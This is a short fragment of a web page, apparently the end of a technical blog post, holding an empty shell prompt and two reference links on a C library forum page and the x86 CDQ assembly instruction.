lazenca0x0@ubuntu:~$ Related site

http://forum.falinux.com/zbxe/?mid=c_lib&page=3&document_srl=408569 https://www.aldeid.com/wiki/x86-assembly/instructions/cdq Comments